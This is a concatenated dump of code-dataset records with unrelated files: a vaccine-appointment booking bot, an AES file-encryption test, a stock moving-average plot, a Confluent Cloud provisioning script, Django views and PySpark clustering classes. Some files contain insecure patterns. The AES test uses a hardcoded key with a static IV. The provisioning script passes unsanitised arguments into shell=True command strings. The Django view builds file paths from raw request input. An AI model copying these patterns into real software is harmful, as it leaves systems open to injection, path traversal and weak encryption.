dem Zeitrahmen entspricht,\n automatisch.\n\n :param codes: Liste an Vermittlungscodes vom Schma XXXX-XXXX-XXXX\n :param plz_impfzentren: Liste der PLZs der Impfzentren bei denen\n gesucht werden soll\n :param kontakt: Kontaktdaten der zu impfenden Person.\n Wird bei der Terminbuchung im JSON-Format an den Server übertragen.\n Zum Format, siehe tools.kontaktdaten.validate_kontakt.\n :param PATH: Dateipfad zum vaccipy-Repo.\n Wird verwendet, um die Chromedriver-Binary zu finden und Logs zu\n speichern.\n :param notifications: Daten zur Authentifizierung bei Benachrichtigungs Providern\n :param zeitrahmen: Objekt, das den Zeitrahmen festlegt, in dem Termine\n gebucht werden.\n Zum Format, siehe tools.kontaktdaten.validate_zeitrahmen.\n :param check_delay: Zeit zwischen Iterationen der Terminsuche.\n :return:\n \"\"\"\n\n validate_codes(codes)\n validate_kontakt(kontakt)\n validate_zeitrahmen(zeitrahmen)\n\n if len(plz_impfzentren) == 0:\n raise ValueError(\"Kein Impfzentrum ausgewählt\")\n\n its = ImpfterminService(codes, kontakt, PATH, notifications)\n\n # Prüfen, ob in allen angegebenen PLZs ein Impfzentrum verfügbar ist\n izs_by_plz = {\n iz[\"PLZ\"]: iz\n for gruppe in its.impfzentren.values()\n for iz in gruppe\n }\n for plz in plz_impfzentren:\n iz = izs_by_plz.get(plz)\n if iz is None:\n raise ValueError(f\"Kein Impfzentrum in {plz} verfügbar\")\n zentrumsname = iz.get(\"Zentrumsname\")\n ort = iz.get(\"Ort\")\n its.log.info(f\"'{zentrumsname}' in {plz} {ort} ausgewählt\")\n\n # Einmal Chrome starten, um früh einen Fehler zu erzeugen, falls die\n # erforderliche Software nicht installiert ist.\n its.log.info(\"Teste Chromedriver\")\n its.get_chromedriver(headless=True).quit()\n\n while True:\n its.log.set_prefix(\" \".join([\n plz for plz in plz_impfzentren\n if its.codes[izs_by_plz[plz][\"URL\"]]\n ]))\n reservierung = its.reservierung_finden(plz_impfzentren, zeitrahmen)\n if reservierung is not None:\n url = reservierung[\"impfzentrum\"][\"URL\"]\n try:\n its.termin_buchen(reservierung)\n msg = \"Termin erfolgreich gebucht!\"\n its.log.success(msg)\n its.log.info(\"[SPENDE] Unterstütze hier unsere Spendenkampagne für 'Ärzte ohne Grenzen': https://www.aerzte-ohne-grenzen.de/spenden-sammeln?cfd=pjs3m\")\n its.notify(title=\"Terminbuchung:\", msg=msg)\n # Programm beenden, wenn Termin gefunden wurde\n return\n except AppointmentGone:\n msg = f\"Termin ist nicht mehr verfügbar\"\n its.rotiere_codes(url)\n except BookingError:\n msg = f\"Termin konnte nicht gebucht werden.\"\n its.log.error(msg)\n its.notify(title=\"Terminbuchung:\", msg=msg)\n\n time.sleep(check_delay)\n\n\n\ndef terminpaar_im_zeitrahmen(terminpaar, zeitrahmen):\n \"\"\"\n Checken ob Terminpaar im angegebenen Zeitrahmen liegt\n\n :param terminpaar: Terminpaar wie in ImpfterminService.termin_suchen\n :param zeitrahmen: Zeitrahmen-Dictionary wie in ImpfterminService.termin_suchen\n :return: True oder False\n \"\"\"\n if not zeitrahmen: # Teste auf leeres dict\n return True\n\n assert zeitrahmen[\"einhalten_bei\"] in [\"1\", \"2\", \"beide\"]\n\n von_datum = datetime.strptime(\n zeitrahmen[\"von_datum\"],\n \"%d.%m.%Y\").date() if \"von_datum\" in zeitrahmen else date.min\n bis_datum = datetime.strptime(\n zeitrahmen[\"bis_datum\"],\n \"%d.%m.%Y\").date() if \"bis_datum\" in zeitrahmen else date.max\n von_uhrzeit = datetime.strptime(\n zeitrahmen[\"von_uhrzeit\"],\n \"%H:%M\").time() if \"von_uhrzeit\" in zeitrahmen else dtime.min\n bis_uhrzeit = (\n datetime.strptime(zeitrahmen[\"bis_uhrzeit\"], \"%H:%M\")\n + timedelta(seconds=59)\n ).time() if \"bis_uhrzeit\" in zeitrahmen else dtime.max\n wochentage = [decode_wochentag(wt) for wt in set(\n zeitrahmen[\"wochentage\"])] if \"wochentage\" in zeitrahmen else range(7)\n\n # Einzelne Termine durchgehen\n for num, termin in enumerate(terminpaar, 1):\n if zeitrahmen[\"einhalten_bei\"] in [\"beide\", str(num)]:\n termin_zeit = datetime.fromtimestamp(int(termin[\"begin\"]) / 1000)\n\n if not (von_datum <= termin_zeit.date() <= bis_datum):\n return False\n\n if not (von_uhrzeit <= termin_zeit.time() <= bis_uhrzeit):\n return False\n\n if not termin_zeit.weekday() in wochentage:\n return False\n return True\n\n\ndef get_headers(code: str):\n b = bytes(f':{code}', encoding='utf-8')\n bearer = f\"Basic {b64encode(b).decode('utf-8')}\"\n return {\"Authorization\": bearer}\n\n\ndef extrahiere_impfstoffe(qualifikation: dict):\n return qualifikation.get(\"tssname\", \"N/A\").replace(\" \", \"\").split(\",\")\n","sub_path":"tools/its.py","file_name":"its.py","file_ext":"py","file_size_in_byte":45309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265801680","text":"import base64\n\nfrom Crypto import Random\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\n# padding算法\nBS = AES.block_size # aes数据分组长度为128 bit\n# pad = lambda s: s + ((BS - len(s) % BS) * ' ').encode()\n\nmode = AES.MODE_CBC\nkey = '751f621ea5c8f930751f621e'\niv = '2624750004598718'.encode()\n\n\ndef encrypt():\n \"\"\"加密\"\"\"\n with open(r'F:\\tmp\\first.pdf', 'rb') as f:\n text = f.read()\n\n a = 16 - len(text) % 16\n data = pad(text, AES.block_size, style='pkcs7')\n\n cryptor = AES.new(key.encode('utf-8'), mode, iv)\n ciphertext = cryptor.encrypt(data)\n\n # res = base64.b64encode(ciphertext)\n\n with open(r'F:\\tmp\\first_encrypt_7.pdf', 'wb') as f:\n f.write(ciphertext)\n\n\ndef decrypt():\n \"\"\"解密\"\"\"\n with open(r'F:\\tmp\\first_encrypt_7.pdf', 'rb') as f:\n data = f.read()\n\n # data = base64.decodebytes(data)\n cryptor = AES.new(key.encode('utf-8'), mode, iv)\n text = cryptor.decrypt(data)\n\n # res = text.rstrip(chr(0))\n\n with open(r'F:\\tmp\\first_decrypt.pdf', 'wb') as f:\n f.write(text)\n\n\nif __name__ == '__main__':\n encrypt()\n decrypt()","sub_path":"ocr/api/aes_test.py","file_name":"aes_test.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311714867","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\naa =r'000001.xlsx'\ndf = pd.DataFrame(pd.read_excel(aa))\ndf['date'] = pd.to_datetime(df['date']) #将数据类型转换为日期类型\ndf = df.set_index('date') # 将date设置为index\ndf=df[['close']]\n\ndf['20天'] = np.round(df['close'].rolling(window = 20, center = False).mean(), 2)\ndf['50天'] = np.round(df['close'].rolling(window = 50, center = False).mean(), 2)\ndf['200天'] = np.round(df['close'].rolling(window = 200, center = False).mean(), 2)\nplt.rcParams['font.sans-serif']=['SimHei'] #解决中文乱码\ndf.plot(secondary_y = [\"收盘价\", \"20\",\"50\",\"200\"], grid = True)\nplt.legend(('收盘价','20天', '50天', '200天'), loc='upper right')\n\n","sub_path":"Python数据分析从入门到精通/MR/Code/04/example/02/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"572973819","text":"import argparse\nimport hashlib\nimport os\nimport yaml\nfrom subprocess import check_output\nfrom yaml import Loader\n\n\n## SERVICE ACCOUNT ##\n\ndef create_service_account_if_not_exists(prefix):\n name = \"\";\n sa_name = get_hashed_service_account_name(name)\n print(f\"Checking if service account exists for {sa_name}\")\n service_id = get_service_account_id(sa_name)\n if(service_id == None):\n sa_description = prefix;\n print(f\"Creating service account {sa_name}\")\n return create_service_account(sa_name, sa_description)\n return service_id.strip()\n\ndef get_service_account_ids(service_accounts):\n service_accounts_ids = {}\n for service_account in service_accounts:\n sa_name = get_hashed_service_account_name(service_account['name'])\n service_account_id = get_service_account_id(sa_name)\n service_accounts_ids[sa_name] = service_account_id\n return service_accounts_ids\n\ndef get_service_account_id(name):\n output = check_output(\"ccloud service-account list\",shell=True).decode(\"utf-8\")\n accounts = output.splitlines()[2:]\n for account in accounts:\n service_account = [x.strip() for x in account.split(\"|\")]\n if(service_account[1] == name):\n return service_account[0]\n return None\n\ndef delete_api_key(api_key):\n print(f\"ccloud api-key delete {api_key}\")\n os.system(f\"ccloud api-key delete {api_key}\")\n\ndef delete_api_key_if_exists(service_account_id):\n key = get_api_key(service_account_id)\n if key is not None:\n delete_api_key(key)\n\n\ndef get_api_key(service_account_id):\n output = check_output(\"ccloud api-key list\",shell=True).decode(\"utf-8\")\n api_keys = output.splitlines()[2:]\n for api_key_row in api_keys:\n api_key_array = [x.strip() for x in api_key_row.split(\"|\")]\n if(api_key_array[1] == service_account_id):\n return api_key_array[0]\n return None\n\n## TOPIC ##\n\ndef does_topic_exist(topic_name):\n output = check_output(\"ccloud kafka topic list\",shell=True).decode(\"utf-8\")\n topic_list = [x.strip() for x in output.splitlines()[2:]]\n for topic in topic_list:\n if topic == topic_name:\n return True\n return False\n\ndef get_topic_list():\n output = check_output(\"ccloud kafka topic list\",shell=True).decode(\"utf-8\")\n accounts = list(map(lambda it: it.strip(), output.splitlines()))\n ## the first two element of our topic list are a header\n return accounts[2:]\n\n## CLUSTER\n\ndef get_cluster_id_from_name(cluster_name):\n output = check_output(\"ccloud kafka cluster list\",shell=True).decode(\"utf-8\")\n # remove the header rows\n cluster_list = output.splitlines()[2:]\n for cluster in cluster_list:\n # split by columns\n cluster_info = [x.strip() for x in cluster.split(\"|\")]\n if(cluster_info[1] == cluster_name):\n # remove indicating '*'\n return cluster_info[0].replace(\"*\", \"\").strip()\n\n## CREATION\n\n## We have to limit the service account to 32 characters so create a hash of the branch\n## name at the start\ndef get_hashed_service_account_name(name):\n hash_prefix = hashlib.sha1(prefix.encode(\"utf-8\")).hexdigest()[:9]\n hashed_name = hash_prefix +\"-\"+hashlib.sha1(name.encode(\"utf-8\")).hexdigest()[:21]\n return hashed_name\n\ndef create_service_account(name, description):\n print(f\"ccloud service-account create {name} --description {description}\")\n output = check_output(f\"ccloud service-account create {name} --description {description}\",shell=True).decode(\"utf-8\")\n for line in output.splitlines()[1:-1]:\n # remove first and list \"|\" and then split into columns\n service_info = [x.strip() for x in line[1:-1].split(\"|\")]\n if(service_info[0] == \"Id\"):\n return service_info[1]\n return None\n\ndef create_acl_for_topic(service_account_id, operation, topic, is_prefix):\n if is_prefix:\n print(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --prefix --topic {topic}\")\n check_output(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --prefix --topic {topic}\",shell=True)\n else:\n print(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --topic {topic}\")\n check_output(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --topic {topic}\",shell=True)\n\ndef create_acl_for_group(service_account_id, operation, group, is_prefix):\n if is_prefix:\n print(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --prefix --consumer-group {group}\")\n check_output(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --prefix --consumer-group {group}\",shell=True)\n else:\n print(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --consumer-group {group}\")\n check_output(f\"ccloud kafka acl create --allow --service-account {service_account_id} --operation {operation} --consumer-group {group}\",shell=True)\n\ndef create_topic(topic, partitions, config):\n if config is not None:\n config_entries = config.items()\n config_list = [i[0] + '=' + i[1] for i in config_entries]\n config_params = ','.join(config_list)\n print(f\"ccloud kafka topic create {topic} --partitions {partitions} --config {config_params}\")\n check_output(f\"ccloud kafka topic create {topic} --partitions {partitions} --config {config_params}\",shell=True)\n else:\n print(f\"ccloud kafka topic create {topic} --partitions {partitions}\")\n check_output(f\"ccloud kafka topic create {topic} --partitions {partitions}\",shell=True)\n\ndef create_topic_if_not_exist(prefix, name, num_partitions, config):\n topic_name = prefix + \"-\" + name\n if(not does_topic_exist(topic_name)):\n create_topic(topic_name, num_partitions, config)\n\ndef create_topic_acls(service_account_ids, prefix, topic):\n acl = topic['access_list']\n topic_name = prefix + \"-\" + topic['name']\n is_prefix = 'prefix' in topic\n for service_access in acl:\n permissions, service_account_id = __get_sa_id_and_permissions(service_access, service_account_ids)\n [create_acl_for_topic(service_account_id, access, topic_name, is_prefix) for access in permissions]\n\ndef create_topic_acls_for_branch(service_account_id, prefix):\n create_acl_for_topic(service_account_id, \"alter\", prefix, True)\n create_acl_for_topic(service_account_id, \"alter-configs\", prefix, True)\n create_acl_for_topic(service_account_id, \"create\", prefix, True)\n create_acl_for_topic(service_account_id, \"cluster-action\", prefix, True)\n create_acl_for_topic(service_account_id, \"delete\", prefix, True)\n create_acl_for_topic(service_account_id, \"describe\", prefix, True)\n create_acl_for_topic(service_account_id, \"describe-configs\", prefix, True)\n create_acl_for_topic(service_account_id, \"idempotent-write\", prefix, True)\n create_acl_for_topic(service_account_id, \"read\", prefix, True)\n create_acl_for_topic(service_account_id, \"write\", prefix, True)\n\n\ndef create_group_acls_for_branch(service_account_id, prefix):\n\n create_acl_for_group(service_account_id, \"alter\", prefix, True)\n create_acl_for_group(service_account_id, \"alter-configs\", prefix, True)\n create_acl_for_group(service_account_id, \"create\", prefix, True)\n create_acl_for_group(service_account_id, \"cluster-action\", prefix, True)\n create_acl_for_group(service_account_id, \"delete\", prefix, True)\n create_acl_for_group(service_account_id, \"describe\", prefix, True)\n create_acl_for_group(service_account_id, \"describe-configs\", prefix, True)\n create_acl_for_group(service_account_id, \"idempotent-write\", prefix, True)\n create_acl_for_group(service_account_id, \"read\", prefix, True)\n create_acl_for_group(service_account_id, \"write\", prefix, True)\n\n\n\ndef __get_sa_id_and_permissions(service_access, service_account_ids):\n hashed_sa_name = get_hashed_service_account_name(service_access['service_account'])\n service_account_id = service_account_ids[hashed_sa_name]\n permissions = service_access['permissions']\n return permissions, service_account_id\n\ndef create_group_acls(service_account_ids, prefix, group):\n group_name = prefix + \"-\" + group['name']\n acl = group['access_list']\n is_prefix = 'prefix' in group\n for service_access in acl:\n permissions, service_account_id = __get_sa_id_and_permissions(service_access, service_account_ids)\n [create_acl_for_group(service_account_id, access, group_name, is_prefix) for access in permissions]\n\ndef create_access_control_for_branch(service_account_id, prefix):\n print(f\"\\n** Creating Topic Access Control Lists ** \\n\")\n create_topic_acls_for_branch(service_account_id, prefix)\n print(f\"\\n** Creating Group Access Control Lists ** \\n\")\n create_group_acls_for_branch(service_account_id, prefix)\n\n\ndef create_kubernetes_secret(api_info, kafka_key_name, namespace_name):\n\n print(\"\\n** Creating Kubernetes Secret **\\n\")\n k8command = f\"\"\"kubectl create secret generic -n {namespace_name} {kafka_key_name} \\\n --from-literal=kafka_key={api_info['key']} --from-literal=kafka_password={api_info['secret']} \\\n --from-literal=schema_registry_key={os.environ['CCLOUD_SCHEMA_KEY']} --from-literal=schema_registry_password={os.environ['CCLOUD_SCHEMA_SECRET']} \\\n -o yaml --dry-run | kubectl apply -f -\"\"\"\n check_output(k8command,shell=True)\n\ndef create_api_key(service_account_id, cluster_id):\n delete_api_key_if_exists(service_account_id)\n print(f\"Creating API Key for {service_account_id}\")\n print(f\"ccloud api-key create --description {prefix} --service-account {service_account_id} --resource {cluster_id}\")\n output = check_output(f\"ccloud api-key create --service-account {service_account_id} --resource {cluster_id}\",shell=True).decode(\"utf-8\")\n key_output = output.splitlines()\n api_info = {}\n for line in key_output:\n # remove first and list \"|\" and then split into columns\n line_info = [x.strip() for x in line[1:-1].split(\"|\")]\n if(len(line_info) == 1):\n continue\n if(line_info[0] == 'API Key'):\n api_info['key'] = line_info[1]\n if(line_info[0] == 'Secret'):\n api_info['secret'] = line_info[1]\n return api_info;\n\n\n\ndef create_sa_and_get_id_for_branch(prefix):\n print(f\"\\n** Creating Service Accounts ** \\n\")\n service_account_id = create_service_account_if_not_exists(prefix)\n return service_account_id\n\n\n api_info = create_api_key(service_account_id, cluster_id)\n for service_account in service_accounts:\n kafka_key_name = service_account['kafka_key_name']\n create_kubernetes_secret(api_info, kafka_key_name, k8_namespace)\n return service_account_id\n\n\ndef create_api_key_for_branch(service_account_id, cluster_id):\n api_info = create_api_key(service_account_id, cluster_id)\n return api_info\n\n\ndef create_topics_and_keys_for_file(filename, api_info, service_account_id):\n with open(f\"{filename}\", 'r', encoding= \"utf-8\") as outfile:\n print(f\"\\n** Creating TOPICS for {filename} ** \\n\")\n values = yaml.load(outfile, Loader=Loader)\n context = values['config']\n topics = context.get('topics')\n service_accounts = context['service_accounts']\n\n print(f\"\\n** Creating Topics ** \\n\")\n if topics is not None:\n for topic in topics:\n print(topic)\n create_topic_if_not_exist(prefix, topic['name'], topic['partitions'], topic.get('config'))\n\n print(f\"\\n** Creating Kafka Keys ** \\n\")\n for service_account in service_accounts:\n kafka_key_name = service_account['kafka_key_name']\n create_kubernetes_secret(api_info, kafka_key_name, kube_namespace)\n return service_account_id\n\ndef create_confluent_resources_from_directory(directory):\n\n cluster_id = get_cluster_id_from_name(cluster)\n print(f\"\\n** Looking at cluster_id {cluster_id} ** \\n\")\n check_output(f\"ccloud kafka cluster use \\\"{cluster_id}\\\"\",shell=True).decode(\"utf-8\")\n\n print(f\"\\n** Creating Service Account **\")\n service_account_id = create_service_account_if_not_exists(prefix)\n api_info = create_api_key_for_branch(service_account_id, cluster_id)\n\n print(f\"\\n** Creating ACL for branch ** \\n\")\n create_access_control_for_branch(service_account_id, prefix)\n\n for filename in os.listdir(directory):\n filepath = f\"{directory}/{filename}\"\n create_topics_and_keys_for_file(filepath, api_info, service_account_id)\n\n\n\n\n\n\nparser = argparse.ArgumentParser(description='Create or Delete Confluent infrastructure.')\n\nparser.add_argument(\"-prefix\", help='used for prefixing topics and creating service-account')\nparser.add_argument(\"-namespace\", help='namespace to put kubernetes secrets in')\nparser.add_argument(\"-file\", help='a yaml config file with SA/ACL set up information')\nparser.add_argument(\"-dir\", help='a directory of files')\nparser.add_argument(\"-cluster\", help=\" the name of the cluster in confluent setup\")\ngroup = parser.add_mutually_exclusive_group()\ngroup.add_argument(\"--create\", help=' this will create the confluent infrastructure', action=\"store_true\")\n\nargs = parser.parse_args()\n\nprefix = args.prefix\nkube_namespace = args.namespace\nfile_name = args.file\ndirectory = args.dir\ncluster = args.cluster\n\nif(args.create):\n create_confluent_resources_from_directory(directory)\n\n\n\n\n\n\n","sub_path":"infrastructure/confluent/setup_confluent_infrastructure_fast.py","file_name":"setup_confluent_infrastructure_fast.py","file_ext":"py","file_size_in_byte":13613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"141082907","text":"# from _typeshed import OpenTextModeUpdating\nfrom django.shortcuts import render\nfrom django.views.generic import TemplateView, DetailView\nfrom django.views.generic.edit import CreateView\nfrom .models import BD_fixedModel\nfrom .forms import BD_fixedForm\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse_lazy\nfrom django.shortcuts import redirect\nimport os\nfrom json import dumps\n\nclass BD_fixedView1(CreateView):\n template_name = 'BD_fixed.html'\n def select_disaster(request):\n return render(request, 'BD_fixed.html')\n \n\n\nclass BD_fixedView2(TemplateView):\n template_name = 'bd2.html'\n def get_images(request):\n # path = \"static/srwf\"\n # # path = \"http://127.0.0.1/output\"\n # img_list = os.listdir(path)\n # img_list = ['srwf/'+i for i in img_list]\n # print(img_list) \n # return render(request, 'bd1.html', {'img_list':img_list})\n disaster = request.GET['disasters']\n # if(disaster == 'srwf'):\n # path1 = \"static/srwf/pre\"\n # img_list1 = sorted(os.listdir(path1))\n # img_list1 = ['srwf/pre/'+i for i in img_list1]\n # path2 = \"static/srwf/post\"\n # img_list2 = sorted(os.listdir(path2))\n # img_list2 = ['srwf/post/'+i for i in img_list2]\n # pair_list = zip(img_list1, img_list2)\n # list1_JSON = dumps(img_list1)\n # list2_JSON = dumps(img_list2)\n # output_path = \"static/srwf/output\"\n # output_list1 = sorted(os.listdir(output_path))\n # output_list2 = ['srwf/output/'+i for i in output_list1]\n # output_list1JSON = dumps(output_list1)\n # output_list2JSON = dumps(output_list2)\n # elif(disaster == 'gvol'):\n # path1 = \"static/gvol/pre\"\n # img_list1 = sorted(os.listdir(path1))\n # img_list1 = ['gvol/pre/'+i for i in img_list1]\n # path2 = \"static/gvol/post\"\n # img_list2 = sorted(os.listdir(path2))\n # img_list2 = ['gvol/post/'+i for i in img_list2]\n # pair_list = zip(img_list1, img_list2)\n # list1_JSON = dumps(img_list1)\n # list2_JSON = dumps(img_list2)\n # output_path = \"static/gvol/output\"\n # output_list1 = sorted(os.listdir(output_path))\n # output_list2 = ['srwf/output/'+i for i in output_list1]\n # output_list1JSON = dumps(output_list1)\n # output_list2JSON = dumps(output_list2)\n if(disaster):\n path1 = \"static/\"+disaster+\"/pre\"\n img_list1 = sorted(os.listdir(path1))\n img_list1 = [disaster+'/pre/'+i for i in img_list1]\n path2 = \"static/\"+disaster+\"/post\"\n img_list2 = sorted(os.listdir(path2))\n img_list2 = [disaster+'/post/'+i for i in img_list2]\n pair_list = zip(img_list1, img_list2)\n list1_JSON = dumps(img_list1)\n list2_JSON = dumps(img_list2)\n output_path = \"static/\"+disaster+\"/output\"\n output_list1 = sorted(os.listdir(output_path))\n output_list2 = [disaster+'/output/'+i for i in output_list1]\n output_list1JSON = dumps(output_list1)\n output_list2JSON = dumps(output_list2)\n else:\n pair_list = []\n list1_JSON = \"\"\n list2_JSON = \"\"\n output_path = \"\"\n \n # if request.method == 'GET':\n # post_image = request.POST.get('img2')\n # print(\"This is ajax\")\n # print(post_image)\n # return render(request, 'bd2.html', {'post_image': post_image})\n # else:\n # print(\"not ajax\")\n\n # img_listJSON = dumps(img_list)\n # disasterJSON = dumps(disaster) \n return render(request, 'bd2.html', {'disaster': disaster, 'img_list': pair_list, 'list1_JSON': list1_JSON,\n 'list2_JSON': list2_JSON, 'output_list1JSON': output_list1JSON, 'output_list2JSON': output_list2JSON})\n\n def getOutput(request):\n if request.method == 'POST':\n data = request.POST.get('img2')\n # run_script(post_image)\n print(\"This is ajax\")\n # print(post_image)\n # print(request.body)\n print(data)\n return render(request, 'bd2.html', {'post_image': 123})\n else:\n print(\"not ajax\")\n\nclass BD_fixedView3(TemplateView):\n template_name = 'temp.html'\n # def getOutput(request): \n # if request.method == 'GET':\n # post_image = request.POST.get('img2')\n # print(\"This is ajax\")\n # print(post_image)\n # return render(request, 'bd2.html', {'post_image': post_image})\n # else:\n # print(\"not ajax\")","sub_path":"BD_fixed/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"295375141","text":"#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport sys\nimport warnings\n\nfrom typing import Any, Dict, List, Optional, TYPE_CHECKING\n\nimport numpy as np\n\nfrom pyspark import since, keyword_only\nfrom pyspark.ml.param.shared import (\n HasMaxIter,\n HasFeaturesCol,\n HasSeed,\n HasPredictionCol,\n HasAggregationDepth,\n HasWeightCol,\n HasTol,\n HasProbabilityCol,\n HasDistanceMeasure,\n HasCheckpointInterval,\n HasSolver,\n HasMaxBlockSizeInMB,\n Param,\n Params,\n TypeConverters,\n)\nfrom pyspark.ml.util import (\n JavaMLWritable,\n JavaMLReadable,\n GeneralJavaMLWritable,\n HasTrainingSummary,\n SparkContext,\n)\nfrom pyspark.ml.wrapper import JavaEstimator, JavaModel, JavaParams, JavaWrapper\nfrom pyspark.ml.common import inherit_doc, _java2py\nfrom pyspark.ml.stat import MultivariateGaussian\nfrom pyspark.sql import DataFrame\nfrom pyspark.ml.linalg import Vector, Matrix\n\nif TYPE_CHECKING:\n from pyspark.ml._typing import M\n from py4j.java_gateway import JavaObject\n\n\n__all__ = [\n \"BisectingKMeans\",\n \"BisectingKMeansModel\",\n \"BisectingKMeansSummary\",\n \"KMeans\",\n \"KMeansModel\",\n \"KMeansSummary\",\n \"GaussianMixture\",\n \"GaussianMixtureModel\",\n \"GaussianMixtureSummary\",\n \"LDA\",\n \"LDAModel\",\n \"LocalLDAModel\",\n \"DistributedLDAModel\",\n \"PowerIterationClustering\",\n]\n\n\nclass ClusteringSummary(JavaWrapper):\n \"\"\"\n Clustering results for a given model.\n\n .. versionadded:: 2.1.0\n \"\"\"\n\n @property\n @since(\"2.1.0\")\n def predictionCol(self) -> str:\n \"\"\"\n Name for column of predicted clusters in `predictions`.\n \"\"\"\n return self._call_java(\"predictionCol\")\n\n @property\n @since(\"2.1.0\")\n def predictions(self) -> DataFrame:\n \"\"\"\n DataFrame produced by the model's `transform` method.\n \"\"\"\n return self._call_java(\"predictions\")\n\n @property\n @since(\"2.1.0\")\n def featuresCol(self) -> str:\n \"\"\"\n Name for column of features in `predictions`.\n \"\"\"\n return self._call_java(\"featuresCol\")\n\n @property\n @since(\"2.1.0\")\n def k(self) -> int:\n \"\"\"\n The number of clusters the model was trained with.\n \"\"\"\n return self._call_java(\"k\")\n\n @property\n @since(\"2.1.0\")\n def cluster(self) -> DataFrame:\n \"\"\"\n DataFrame of predicted cluster centers for each training data point.\n \"\"\"\n return self._call_java(\"cluster\")\n\n @property\n @since(\"2.1.0\")\n def clusterSizes(self) -> List[int]:\n \"\"\"\n Size of (number of data points in) each cluster.\n \"\"\"\n return self._call_java(\"clusterSizes\")\n\n @property\n @since(\"2.4.0\")\n def numIter(self) -> int:\n \"\"\"\n Number of iterations.\n \"\"\"\n return self._call_java(\"numIter\")\n\n\n@inherit_doc\nclass _GaussianMixtureParams(\n HasMaxIter,\n HasFeaturesCol,\n HasSeed,\n HasPredictionCol,\n HasProbabilityCol,\n HasTol,\n HasAggregationDepth,\n HasWeightCol,\n):\n \"\"\"\n Params for :py:class:`GaussianMixture` and :py:class:`GaussianMixtureModel`.\n\n .. versionadded:: 3.0.0\n \"\"\"\n\n k: Param[int] = Param(\n Params._dummy(),\n \"k\",\n \"Number of independent Gaussians in the mixture model. \" + \"Must be > 1.\",\n typeConverter=TypeConverters.toInt,\n )\n\n def __init__(self, *args: Any):\n super(_GaussianMixtureParams, self).__init__(*args)\n self._setDefault(k=2, tol=0.01, maxIter=100, aggregationDepth=2)\n\n @since(\"2.0.0\")\n def getK(self) -> int:\n \"\"\"\n Gets the value of `k`\n \"\"\"\n return self.getOrDefault(self.k)\n\n\nclass GaussianMixtureModel(\n JavaModel,\n _GaussianMixtureParams,\n JavaMLWritable,\n JavaMLReadable[\"GaussianMixtureModel\"],\n HasTrainingSummary[\"GaussianMixtureSummary\"],\n):\n \"\"\"\n Model fitted by GaussianMixture.\n\n .. versionadded:: 2.0.0\n \"\"\"\n\n @since(\"3.0.0\")\n def setFeaturesCol(self, value: str) -> \"GaussianMixtureModel\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"3.0.0\")\n def setPredictionCol(self, value: str) -> \"GaussianMixtureModel\":\n \"\"\"\n Sets the value of :py:attr:`predictionCol`.\n \"\"\"\n return self._set(predictionCol=value)\n\n @since(\"3.0.0\")\n def setProbabilityCol(self, value: str) -> \"GaussianMixtureModel\":\n \"\"\"\n Sets the value of :py:attr:`probabilityCol`.\n \"\"\"\n return self._set(probabilityCol=value)\n\n @property\n @since(\"2.0.0\")\n def weights(self) -> List[float]:\n \"\"\"\n Weight for each Gaussian distribution in the mixture.\n This is a multinomial probability distribution over the k Gaussians,\n where weights[i] is the weight for Gaussian i, and weights sum to 1.\n \"\"\"\n return self._call_java(\"weights\")\n\n @property\n @since(\"3.0.0\")\n def gaussians(self) -> List[MultivariateGaussian]:\n \"\"\"\n Array of :py:class:`MultivariateGaussian` where gaussians[i] represents\n the Multivariate Gaussian (Normal) Distribution for Gaussian i\n \"\"\"\n sc = SparkContext._active_spark_context\n assert sc is not None and self._java_obj is not None\n\n jgaussians = self._java_obj.gaussians()\n return [\n MultivariateGaussian(_java2py(sc, jgaussian.mean()), _java2py(sc, jgaussian.cov()))\n for jgaussian in jgaussians\n ]\n\n @property\n @since(\"2.0.0\")\n def gaussiansDF(self) -> DataFrame:\n \"\"\"\n Retrieve Gaussian distributions as a DataFrame.\n Each row represents a Gaussian Distribution.\n The DataFrame has two columns: mean (Vector) and cov (Matrix).\n \"\"\"\n return self._call_java(\"gaussiansDF\")\n\n @property\n @since(\"2.1.0\")\n def summary(self) -> \"GaussianMixtureSummary\":\n \"\"\"\n Gets summary (cluster assignments, cluster sizes) of the model trained on the\n training set. An exception is thrown if no summary exists.\n \"\"\"\n if self.hasSummary:\n return GaussianMixtureSummary(super(GaussianMixtureModel, self).summary)\n else:\n raise RuntimeError(\n \"No training summary available for this %s\" % self.__class__.__name__\n )\n\n @since(\"3.0.0\")\n def predict(self, value: Vector) -> int:\n \"\"\"\n Predict label for the given features.\n \"\"\"\n return self._call_java(\"predict\", value)\n\n @since(\"3.0.0\")\n def predictProbability(self, value: Vector) -> Vector:\n \"\"\"\n Predict probability for the given features.\n 